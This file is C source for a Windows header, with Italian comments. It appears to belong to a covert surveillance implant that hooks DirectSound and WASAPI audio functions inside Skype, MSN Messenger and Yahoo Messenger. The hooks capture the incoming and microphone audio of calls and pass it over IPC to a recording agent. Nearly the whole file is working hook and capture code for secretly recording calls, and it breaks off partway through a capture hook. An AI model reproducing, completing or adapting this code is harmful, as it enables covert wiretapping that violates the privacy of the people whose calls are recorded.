HM_SkypeRecord.h
#include <shlwapi.h>
#include <mmdeviceapi.h>
#include <audioclient.h>
#include "speex/speex.h"
#include "dsound.h"
#define SAMPLE_RATE_DEFAULT 48000
#define SAMPLE_RATE_SKYPE 48000
#define SAMPLE_RATE_SKYPE_W 44100
#define SAMPLE_RATE_GTALK 48000
#define SAMPLE_RATE_YMSG 48000
#define SAMPLE_RATE_YMSG_IN 96000
#define SAMPLE_RATE_MSN 16000
typedef MMRESULT (WINAPI *waveOutGetID_t) (HWAVEOUT , LPUINT);
typedef MMRESULT (WINAPI *waveInGetID_t) (HWAVEOUT , LPUINT);
typedef HRESULT (WINAPI *DirectSoundCreate_t) (LPCGUID , LPDIRECTSOUND *, DWORD);
typedef HRESULT (WINAPI *DirectSoundCaptureCreate_t) (LPCGUID , LPDIRECTSOUNDCAPTURE *, DWORD);
// Funzioni risolte nella DLL del CODEC
typedef void *(*speex_encoder_init_t)(SpeexMode *);
typedef int (*speex_encoder_ctl_t)(void *, int, void *);
typedef void (*speex_encoder_destroy_t)(void *);
typedef int (*speex_encode_t)(void *, float *, SpeexBits *);
typedef void (*speex_bits_init_t)(SpeexBits *);
typedef void (*speex_bits_reset_t)(SpeexBits *);
typedef int (*speex_bits_write_t)(SpeexBits *, char *, int);
typedef void (*speex_bits_destroy_t)(SpeexBits *);
typedef SpeexMode *(*speex_lib_get_mode_t)(int);
speex_encoder_init_t rel_speex_encoder_init;
speex_encoder_ctl_t rel_speex_encoder_ctl;
speex_encoder_destroy_t rel_speex_encoder_destroy;
speex_encode_t rel_speex_encode;
speex_bits_init_t rel_speex_bits_init;
speex_bits_reset_t rel_speex_bits_reset;
speex_bits_write_t rel_speex_bits_write;
speex_bits_destroy_t rel_speex_bits_destroy;
speex_lib_get_mode_t rel_speex_lib_get_mode;
typedef struct partner_struct {
DWORD Id;
DWORD participants;
char *peer;
#define VOIP_SKYPE 1
#define VOIP_GTALK 2
#define VOIP_YAHOO 3
#define VOIP_MSMSG 4
#define VOIP_MOBIL 5
#define VOIP_SKWSA 6
#define VOIP_MSNWS 7
DWORD voip_program;
#define CALL_SKYPE_OLD 1 // Abbiamo ricevuto un chunl audio NON dalle wasapi, quindi ignoriamo quelli provenienti da li'
DWORD flags;
struct partner_struct *next;
} partner_entry;
typedef struct _VoiceAdditionalData {
UINT uVersion;
#define LOG_VOICE_VERSION 2008121901
UINT uChannel;
UINT uProgramType;
UINT uSampleRate;
UINT uIngoing;
FILETIME start;
FILETIME stop;
UINT uCallerIdLen;
UINT uCalleeIdLen;
} VoiceAdditionalData, *pVoiceAdditionalData;
#define FLAGS_INPUT 1 // Ricevuto dal microfono
#define FLAGS_OUTPUT 2 // Suonato dalla scheda audio
#define FLAGS_SKAPI_INI 4 // Messaggio delle api di Skype (inizializzazione)
#define FLAGS_SKAPI_MSG 8 // Messaggio delle api di Skype
#define FLAGS_SKAPI_WND 16 // Messaggio delle api di Skype (thread di dispatch)
#define FLAGS_SKAPI_SWD 32 // Messaggio delle api di Skype
#define FLAGS_SKAPI_ATT 64 // Messaggio di Skype: Segnala il core che deve fare l'attach per inviare messaggi
#define FLAGS_YMSG_IN 128 // Messaggio delle api di YahooMessenger
#define FLAGS_YMSG_OUT 256 // Messaggio delle api di YahooMessenger
#define FLAGS_GTALK_IN 512 // Messaggio delle api di Gtalk
#define FLAGS_GTALK_OUT 1024 // Messaggio delle api di Gtalk
#define FLAGS_MSN_IN 2048 // Messaggio delle api di Msn Live
#define FLAGS_MSN_OUT 4096 // Messaggio delle api di Msn Live
#define FLAGS_SAMPLING 8192 // Messaggio per indicare il sample rate
// Gli ultimi due bit di flag (2^30 e 2^31) sono riservati al chunk
// audio e contengoono il numero di canali utilizzato
// In questo caso i bit da 24 a 29 sono usati per identificare il tipo di
// programma utilizzato <voip_program>
#define MAX_HASHKEY_LEN MAX_PATH*3 // Lunghezza massima chiavi di hash per skype config
#define DEFAULT_SAMPLE_SIZE (512*1024) // 512KB
#define DEFAULT_COMPRESSION 3
#define MAX_ID_LEN 250
#define CALL_DELTA 16 // Intervallo in decimi di secondo che differenzia due chiamate
#define INPUT_ELEM 0
#define OUTPUT_ELEM 1
CRITICAL_SECTION skype_critic_sec;
partner_entry *call_list_head = NULL;
BOOL bPM_VoipRecordStarted = FALSE; // Flag che indica se il monitor e' attivo o meno
DWORD sample_size[2] = {0,0}; // Viene inizializzato solo all'inizio
DWORD sample_channels[2] = {1,1}; // Numero di canali
DWORD sample_sampling[2] = {SAMPLE_RATE_SKYPE_W, SAMPLE_RATE_SKYPE_W}; // Sample rate dei due canali per skype con wasapi
FILETIME channel_time_start[2]; // Time stamp di inizio chiamata
FILETIME channel_time_last[2]; // Time stamp dell'ultimo campione
BYTE *wave_array[2] = {NULL, NULL}; // Buffer contenenti i PCM dei due canali
DWORD max_sample_size = 500000; // Dimensione oltre la quale salva un sample su file
DWORD compress_factor = 5; // Fattore di compressione del codec
HMODULE codec_handle = NULL; // Handle alla dll del codec
BOOL bPM_spmcp = FALSE; // Semaforo per l'uscita del thread
HANDLE hSkypePMThread = NULL;
BOOL IsSkypePMInstalled();
// Sono condivise anche da IM e Contacts
HWND skype_api_wnd = NULL;
HWND skype_pm_wnd = NULL;
#include <mmsystem.h>
// XXX Dovrei liberare i buffer e le strutture create
BYTE *GetDirectSoundGetCP(BYTE **DSLock, BYTE **DSUnlock, BYTE **DSGetFormat)
{
LPDIRECTSOUNDBUFFER lpDSBuffer;
LPDIRECTSOUND lpDS = NULL;
PCMWAVEFORMAT pcmwf;
DSBUFFERDESC dsbdesc;
BYTE ***interface_ptr;
BYTE **func_ptr;
HMODULE hdsound;
DirectSoundCreate_t pDirectSoundCreate;
if ( !(hdsound = LoadLibrary("dsound.dll") ) )
return NULL;
if ( !(pDirectSoundCreate = (DirectSoundCreate_t)HM_SafeGetProcAddress(hdsound, "DirectSoundCreate") ) )
return NULL;
if (DS_OK != pDirectSoundCreate(NULL, &lpDS, NULL))
return NULL;
memset( &pcmwf, 0, sizeof(PCMWAVEFORMAT) );
pcmwf.wf.wFormatTag = WAVE_FORMAT_PCM;
pcmwf.wf.nChannels = 1;
pcmwf.wf.nSamplesPerSec = 48000;
pcmwf.wf.nBlockAlign = (WORD)2;
pcmwf.wf.nAvgBytesPerSec = 96000;
pcmwf.wBitsPerSample = (WORD)16;
memset(&dsbdesc, 0, sizeof(DSBUFFERDESC));
dsbdesc.dwSize = sizeof(DSBUFFERDESC);
dsbdesc.dwFlags = DSBCAPS_CTRLFREQUENCY|DSBCAPS_CTRLPAN|DSBCAPS_CTRLVOLUME ;
dsbdesc.dwBufferBytes = 512;
dsbdesc.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf;
if (DS_OK != lpDS->CreateSoundBuffer(&dsbdesc, &lpDSBuffer, NULL))
return NULL;
interface_ptr = (BYTE ***)lpDSBuffer;
func_ptr = *interface_ptr;
*DSLock = *(func_ptr + 11);
*DSUnlock = *(func_ptr + 19);
*DSGetFormat = *(func_ptr + 5);
if ((*DSLock) == NULL || (*DSUnlock) == NULL || (*DSGetFormat) == NULL)
return NULL;
func_ptr += 4;
return *func_ptr;
}
// XXX Dovrei liberare i buffer e le strutture create
BYTE *GetDirectSoundCaptureGetCP(BYTE **DSLock, BYTE **DSUnlock, BYTE **DSGetFormat)
{
LPDIRECTSOUNDCAPTURE lpDSC;
LPDIRECTSOUNDCAPTUREBUFFER lpDSCB;
DSCBUFFERDESC cdbufd;
PCMWAVEFORMAT pcmwf;
BYTE ***interface_ptr;
BYTE **func_ptr;
HMODULE hdsound;
DirectSoundCaptureCreate_t pDirectSoundCaptureCreate;
if ( !(hdsound = LoadLibrary("dsound.dll") ) )
return NULL;
if ( !(pDirectSoundCaptureCreate = (DirectSoundCaptureCreate_t)HM_SafeGetProcAddress(hdsound, "DirectSoundCaptureCreate") ) )
return NULL;
if ( DS_OK != pDirectSoundCaptureCreate(NULL, &lpDSC, NULL))
return NULL;
memset( &pcmwf, 0, sizeof(PCMWAVEFORMAT) );
pcmwf.wf.wFormatTag = WAVE_FORMAT_PCM;
pcmwf.wf.nChannels = 1;
pcmwf.wf.nSamplesPerSec = 48000;
pcmwf.wf.nBlockAlign = (WORD)2;
pcmwf.wf.nAvgBytesPerSec = 96000;
pcmwf.wBitsPerSample = (WORD)16;
memset(&cdbufd, 0, sizeof(cdbufd));
cdbufd.dwSize = sizeof(DSCBUFFERDESC);
cdbufd.dwBufferBytes = 100;
cdbufd.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf;
if (DS_OK != lpDSC->CreateCaptureBuffer(&cdbufd, &lpDSCB, NULL))
return NULL;
interface_ptr = (BYTE ***)lpDSCB;
func_ptr = *interface_ptr;
*DSLock = *(func_ptr + 8);
*DSUnlock = *(func_ptr + 11);
*DSGetFormat = *(func_ptr + 5);
if ((*DSLock) == NULL || (*DSUnlock) == NULL || (*DSGetFormat) == NULL)
return NULL;
func_ptr += 4;
return *func_ptr;
}
typedef DWORD (WINAPI *DSLock_t)(DWORD, DWORD, DWORD, LPVOID *, LPDWORD, LPVOID *, LPDWORD, DWORD);
typedef DWORD (WINAPI *DSUnlock_t)(DWORD, LPVOID, DWORD, LPVOID, DWORD);
typedef DWORD (WINAPI *DSGetFormat_t)(DWORD, LPVOID, DWORD, LPDWORD);
///////////////////////////
//
// Dsound::DSGetCP
//
///////////////////////////
typedef struct {
COMMONDATA;
DWORD prog_type;
DWORD old_play_c;
DWORD saved_cp;
BYTE *buffer_address;
DWORD buffer_tot_len;
DSLock_t pDSLock;
DSUnlock_t pDSUnlock;
DSGetFormat_t pDSGetFormat;
} DSGetCPStruct;
DSGetCPStruct DSGetCPData;
#define THRESHOLD 0x3C0
#define LARGE_CLI_WRITE(x, y, z, k) { BYTE *wave_ptr = x; \
DWORD to_write = y; \
while (to_write > 0) { \
if (to_write <= MAX_MSG_LEN) { \
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, wave_ptr, to_write, z, k); \
to_write = 0; \
} else { \
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, wave_ptr, MAX_MSG_LEN, z, k); \
wave_ptr += MAX_MSG_LEN; \
to_write -= MAX_MSG_LEN; }}}
DWORD __stdcall PM_DSGetCP(DWORD class_ptr,
DWORD *write_c,
DWORD *play_c)
{
BOOL *Active;
DWORD *dummy1;
DWORD dummy2;
BYTE *temp_buf;
DWORD temp_len;
DWORD new_counter;
WAVEFORMATEX wfx_format;
MARK_HOOK
INIT_WRAPPER(DSGetCPStruct)
CALL_ORIGINAL_API(3);
// Se qualcosa e' andato storto, ritorna
if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=DS_OK)
return ret_code;
// Copia il valore in locale per evitare race
if (play_c == NULL)
return ret_code;
new_counter = *play_c;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
// Locka l'intero buffer
// lo fa ogni volta per trovare gli indirizzi anche quando
// cambia il buffer lasciando invariato il class_ptr
if (pData->pDSLock(class_ptr, 0, 0, (LPVOID *)&temp_buf, &temp_len, (LPVOID *)&(dummy1), &(dummy2), DSBLOCK_ENTIREBUFFER) != DS_OK)
return ret_code;
pData->pDSUnlock(class_ptr, temp_buf, temp_len, dummy1, dummy2);
wfx_format.nChannels = 2;
pData->pDSGetFormat(class_ptr, &wfx_format, sizeof(WAVEFORMATEX), NULL);
// Se e' la prima volta che lo chiama (o ha cambiato buffer)
// salva i valori e ritorna
if (pData->old_play_c == -1 || pData->saved_cp != class_ptr ||
pData->buffer_address != temp_buf || pData->buffer_tot_len != temp_len) {
if ( (new_counter%2)==0 ) {
pData->old_play_c = new_counter;
pData->saved_cp = class_ptr;
pData->buffer_address = temp_buf;
pData->buffer_tot_len = temp_len;
}
return ret_code;
}
// Nessun cambiamento
if (new_counter == pData->old_play_c)
return ret_code;
// Non ha wrappato
if (new_counter > pData->old_play_c) {
dummy2 = (new_counter - pData->old_play_c);
if ( dummy2>=THRESHOLD && dummy2<=THRESHOLD*60 && (dummy2%2)==0 ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (new_counter - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
pData->old_play_c = new_counter;
}
} else {
// Ha wrappato
dummy2 = new_counter + (pData->buffer_tot_len - pData->old_play_c);
if ( dummy2>=THRESHOLD && dummy2<=THRESHOLD*60 && (dummy2%2)==0 ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (pData->buffer_tot_len - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
LARGE_CLI_WRITE((pData->buffer_address), new_counter, (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
pData->old_play_c = new_counter;
}
}
return ret_code;
}
DWORD PM_DSGetCP_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe") &&
stricmp(proc_name, "msnmsgr.exe") &&
stricmp(proc_name, "yahoomessenger.exe"))
return 1; // Hooka solo skype.exe e MSN
if (!stricmp(proc_name, "msnmsgr.exe") && IsVista(NULL))
return 1; // Solo su XP prendiamo le dsound
} else
return 1;
if (!stricmp(proc_name, "skype.exe"))
DSGetCPData.prog_type = VOIP_SKYPE;
else if (!stricmp(proc_name, "msnmsgr.exe"))
DSGetCPData.prog_type = VOIP_MSMSG;
else if (!stricmp(proc_name, "yahoomessenger.exe"))
DSGetCPData.prog_type = VOIP_YAHOO;
else
DSGetCPData.prog_type = 0;
DSGetCPData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
DSGetCPData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
DSGetCPData.old_play_c = -1;
if ( ! (DSGetCPData.bAPIAdd = GetDirectSoundGetCP( (BYTE **)&(DSGetCPData.pDSLock), (BYTE **)&(DSGetCPData.pDSUnlock), (BYTE **)&(DSGetCPData.pDSGetFormat) ) ))
return 1;
DSGetCPData.dwHookLen = 980;
return 0;
}
///////////////////////////
//
// Dsound::DSCapGetCP
//
///////////////////////////
typedef struct {
COMMONDATA;
DWORD prog_type;
DWORD old_play_c;
DWORD saved_cp;
BYTE *buffer_address;
DWORD buffer_tot_len;
DSLock_t pDSLock;
DSUnlock_t pDSUnlock;
DSGetFormat_t pDSGetFormat;
} DSCapGetCPStruct;
DSCapGetCPStruct DSCapGetCPData;
DWORD __stdcall PM_DSCapGetCP(DWORD class_ptr,
DWORD *write_c,
DWORD *play_c)
{
BOOL *Active;
DWORD *dummy1;
DWORD dummy2;
BYTE *temp_buf;
DWORD temp_len;
WAVEFORMATEX wfx_format;
MARK_HOOK
INIT_WRAPPER(DSCapGetCPStruct)
CALL_ORIGINAL_API(3);
if(play_c == NULL)
return ret_code;
// Se e' andato storto, ritorna
if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=DS_OK)
return ret_code;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
// Locka l'intero buffer
// lo fa ogni volta per trovare gli indirizzi anche quando
// cambia il buffer lasciando invariato il class_ptr
if (pData->pDSLock(class_ptr, 0, 0, (LPVOID *)&temp_buf, &temp_len, (LPVOID *)&(dummy1), &(dummy2), DSCBLOCK_ENTIREBUFFER) != DS_OK)
return ret_code;
pData->pDSUnlock(class_ptr, temp_buf, temp_len, dummy1, dummy2);
wfx_format.nChannels = 2;
pData->pDSGetFormat(class_ptr, &wfx_format, sizeof(WAVEFORMATEX), NULL);
// Se e' la prima volta che lo chiama (o ha cambiato buffer)
// salva i valori e ritorna
if (pData->old_play_c == -1 || pData->saved_cp != class_ptr ||
pData->buffer_address != temp_buf || pData->buffer_tot_len != temp_len) {
// Check paranoico
if(play_c)
pData->old_play_c = *play_c;
else
return ret_code;
pData->saved_cp = class_ptr;
pData->buffer_address = temp_buf;
pData->buffer_tot_len = temp_len;
return ret_code;
}
// Nessuno cambiamento
if (*play_c == pData->old_play_c)
return ret_code;
// Non ha wrappato
if (*play_c > pData->old_play_c) {
if ( (*play_c - pData->old_play_c) >= THRESHOLD ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (*play_c - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
pData->old_play_c = *play_c;
}
} else {
// Ha wrappato
if (*play_c + (pData->buffer_tot_len - pData->old_play_c) >= THRESHOLD ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (pData->buffer_tot_len - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
LARGE_CLI_WRITE((pData->buffer_address), (*play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
pData->old_play_c = *play_c;
}
}
return ret_code;
}
DWORD PM_DSCapGetCP_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe") &&
stricmp(proc_name, "msnmsgr.exe") &&
stricmp(proc_name, "yahoomessenger.exe"))
return 1; // Hooka solo skype.exe e MSN
if (!stricmp(proc_name, "msnmsgr.exe") && IsVista(NULL))
return 1; // Solo su XP prendiamo le dsound
} else
return 1;
DSCapGetCPData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
DSCapGetCPData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
DSCapGetCPData.old_play_c = -1;
if (!stricmp(proc_name, "skype.exe"))
DSCapGetCPData.prog_type = VOIP_SKYPE;
else if (!stricmp(proc_name, "msnmsgr.exe"))
DSCapGetCPData.prog_type = VOIP_MSMSG;
else if (!stricmp(proc_name, "yahoomessenger.exe"))
DSGetCPData.prog_type = VOIP_YAHOO;
else
DSCapGetCPData.prog_type = 0;
if ( ! (DSCapGetCPData.bAPIAdd = GetDirectSoundCaptureGetCP( (BYTE **)&(DSCapGetCPData.pDSLock), (BYTE **)&(DSCapGetCPData.pDSUnlock), (BYTE **)&(DSCapGetCPData.pDSGetFormat) ) ))
return 1;
DSCapGetCPData.dwHookLen = 980;
return 0;
}
///////////////////////////
//
// WASAPI
//
///////////////////////////
#define SKYPE_WASAPI_BITS 2
#define MSN_WASAPI_BITS 4
#define WASAPI_GETBUFFER 3
#define WASAPI_RELEASEBUFFER 4
BYTE *GetWASAPIRenderFunctionAddress(IMMDevice *pMMDevice, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE **func_ptr;
BYTE ***interface_ptr;
HRESULT hr;
WAVEFORMATEX *pwfx;
IAudioClient *pAudioClient = NULL;
IAudioRenderClient *pAudioRenderClient = NULL;
hr = pMMDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient);
if (FAILED(hr))
return NULL;
hr = pAudioClient->GetMixFormat(&pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
if (n_channels)
*n_channels = (DWORD)(pwfx->nChannels);
if (sampling)
*sampling = (DWORD)(pwfx->nSamplesPerSec);
hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, 0, 0, pwfx, NULL);
CoTaskMemFree(pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
hr = pAudioClient->GetService(__uuidof(IAudioRenderClient), (void**)&pAudioRenderClient);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
interface_ptr = (BYTE ***)pAudioRenderClient;
if (!interface_ptr || !(func_ptr = *interface_ptr)) {
pAudioRenderClient->Release();
pAudioClient->Release();
return NULL;
}
func_ptr += func_num;
pAudioRenderClient->Release();
pAudioClient->Release();
return *func_ptr;
}
HRESULT GetWASAPIRenderFunction(BYTE **ret_ptr, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE *func_ptr;
IMMDeviceEnumerator *pMMDeviceEnumerator;
IMMDevice *pMMDevice;
HRESULT hr = S_OK;
CoInitialize(NULL);
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pMMDeviceEnumerator);
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eCommunications, &pMMDevice);
pMMDeviceEnumerator->Release();
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
func_ptr = GetWASAPIRenderFunctionAddress(pMMDevice, func_num, n_channels, sampling);
pMMDevice->Release();
CoUninitialize();
if (func_ptr) {
*ret_ptr = func_ptr;
return S_OK;
}
return S_FALSE;
}
typedef struct {
COMMONDATA;
BYTE *obj_ptr;
BYTE *obj_ptr2;
BYTE *audio_data;
BYTE *audio_data2;
BOOL active;
BOOL active2;
} WASAPIGetBufferStruct;
WASAPIGetBufferStruct WASAPIGetBufferData;
HRESULT __stdcall PM_WASAPIGetBuffer(BYTE *class_ptr,
DWORD NumFramesRequested,
BYTE **ppData)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIGetBufferStruct)
CALL_ORIGINAL_API(3);
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (ret_code!=S_OK || !Active || !(*Active))
return ret_code;
// E' una nuova chiamata
if (pData->obj_ptr && pData->obj_ptr2 && pData->obj_ptr!=class_ptr && pData->obj_ptr2!=class_ptr) {
pData->obj_ptr = NULL;
pData->obj_ptr2 = NULL;
pData->active = FALSE;
pData->active2 = FALSE;
}
// Memorizza 2 oggetti
if (pData->obj_ptr == NULL) {
pData->obj_ptr = class_ptr;
pData->audio_data = *ppData;
} else if (pData->obj_ptr != class_ptr) {
if (pData->obj_ptr2 == NULL) {
pData->obj_ptr2 = class_ptr;
pData->audio_data2 = *ppData;
}
}
if (pData->obj_ptr == class_ptr)
pData->audio_data = *ppData;
if (pData->obj_ptr2 == class_ptr)
pData->audio_data2 = *ppData;
return ret_code;
}
DWORD PM_WASAPIGetBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIGetBufferData.obj_ptr = NULL;
WASAPIGetBufferData.obj_ptr2 = NULL;
WASAPIGetBufferData.audio_data = NULL;
WASAPIGetBufferData.audio_data2 = NULL;
WASAPIGetBufferData.active = FALSE;
WASAPIGetBufferData.active2 = FALSE;
if (GetWASAPIRenderFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK)
return 1;
WASAPIGetBufferData.dwHookLen = 350;
return 0;
}
typedef struct {
COMMONDATA;
DWORD prog_type;
WASAPIGetBufferStruct *c_data;
DWORD n_channels;
DWORD sampling;
DWORD sampling2;
} WASAPIReleaseBufferStruct;
WASAPIReleaseBufferStruct WASAPIReleaseBufferData;
HRESULT __stdcall PM_WASAPIReleaseBuffer(BYTE *class_ptr,
DWORD NumFramesWrittem,
DWORD Flags)
{
BOOL *Active;
DWORD i;
MARK_HOOK
INIT_WRAPPER(WASAPIReleaseBufferStruct)
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (Active && (*Active) && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) {
if (pData->sampling != 0) {
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling), 4, FLAGS_SAMPLING | FLAGS_OUTPUT, IPC_HI_PRIORITY);
pData->sampling = 0;
}
if (pData->c_data->obj_ptr==class_ptr) {
// Vede se e' un oggetto in cui sta scrivendo qualcosa
if (!pData->c_data->active)
for (i=0; i<256; i++) {
if (pData->c_data->audio_data[i] != 0) {
pData->c_data->active = TRUE;
break;
}
}
if (pData->c_data->active)
LARGE_CLI_WRITE(pData->c_data->audio_data, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
}
if (pData->c_data->obj_ptr2==class_ptr) {
// Vede se e' un oggetto in cui sta scrivendo qualcosa
if (!pData->c_data->active2)
for (i=0; i<256; i++) {
if (pData->c_data->audio_data2[i] != 0) {
pData->c_data->active2 = TRUE;
break;
}
}
if (pData->c_data->active2)
LARGE_CLI_WRITE(pData->c_data->audio_data2, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
}
}
CALL_ORIGINAL_API(3);
return ret_code;
}
DWORD PM_WASAPIReleaseBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIReleaseBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIReleaseBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIReleaseBufferData.c_data = (WASAPIGetBufferStruct *)pData->PARAM[0];
WASAPIReleaseBufferData.prog_type = VOIP_SKWSA;
if (GetWASAPIRenderFunction(&(WASAPIReleaseBufferData.bAPIAdd), WASAPI_RELEASEBUFFER, &(WASAPIReleaseBufferData.n_channels), &(WASAPIReleaseBufferData.sampling)) != S_OK)
return 1;
WASAPIReleaseBufferData.dwHookLen = 800;
return 0;
}
BYTE *GetWASAPICaptureFunctionAddress(IMMDevice *pMMDevice, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE **func_ptr;
BYTE ***interface_ptr;
HRESULT hr;
WAVEFORMATEX *pwfx;
IAudioClient *pAudioClient = NULL;
IAudioCaptureClient *pAudioCaptureClient = NULL;
hr = pMMDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient);
if (FAILED(hr))
return NULL;
hr = pAudioClient->GetMixFormat(&pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
if (n_channels)
*n_channels = (DWORD)(pwfx->nChannels);
if (sampling)
*sampling = (DWORD)(pwfx->nSamplesPerSec);
hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, 0, 0, pwfx, NULL);
CoTaskMemFree(pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
hr = pAudioClient->GetService(__uuidof(IAudioCaptureClient), (void**)&pAudioCaptureClient);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
interface_ptr = (BYTE ***)pAudioCaptureClient;
if (!interface_ptr || !(func_ptr = *interface_ptr)) {
pAudioCaptureClient->Release();
pAudioClient->Release();
return NULL;
}
func_ptr += func_num;
pAudioCaptureClient->Release();
pAudioClient->Release();
return *func_ptr;
}
HRESULT GetWASAPICaptureFunction(BYTE **ret_ptr, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE *func_ptr;
IMMDeviceEnumerator *pMMDeviceEnumerator;
IMMDevice *pMMDevice;
HRESULT hr = S_OK;
CoInitialize(NULL);
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pMMDeviceEnumerator);
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eCapture, eCommunications, &pMMDevice);
pMMDeviceEnumerator->Release();
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
func_ptr = GetWASAPICaptureFunctionAddress(pMMDevice, func_num, n_channels, sampling);
pMMDevice->Release();
CoUninitialize();
if (func_ptr) {
*ret_ptr = func_ptr;
return S_OK;
}
return S_FALSE;
}
HRESULT __stdcall PM_WASAPICaptureGetBuffer(BYTE *class_ptr,
BYTE **ppData,
UINT32 *pNumFramesToRead,
DWORD *pdwFlags,
UINT64 *pu64DevicePosition,
UINT64 *pu64QPCPosition)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIGetBufferStruct)
CALL_ORIGINAL_API(6);
// Controlla se il monitor e' attivo
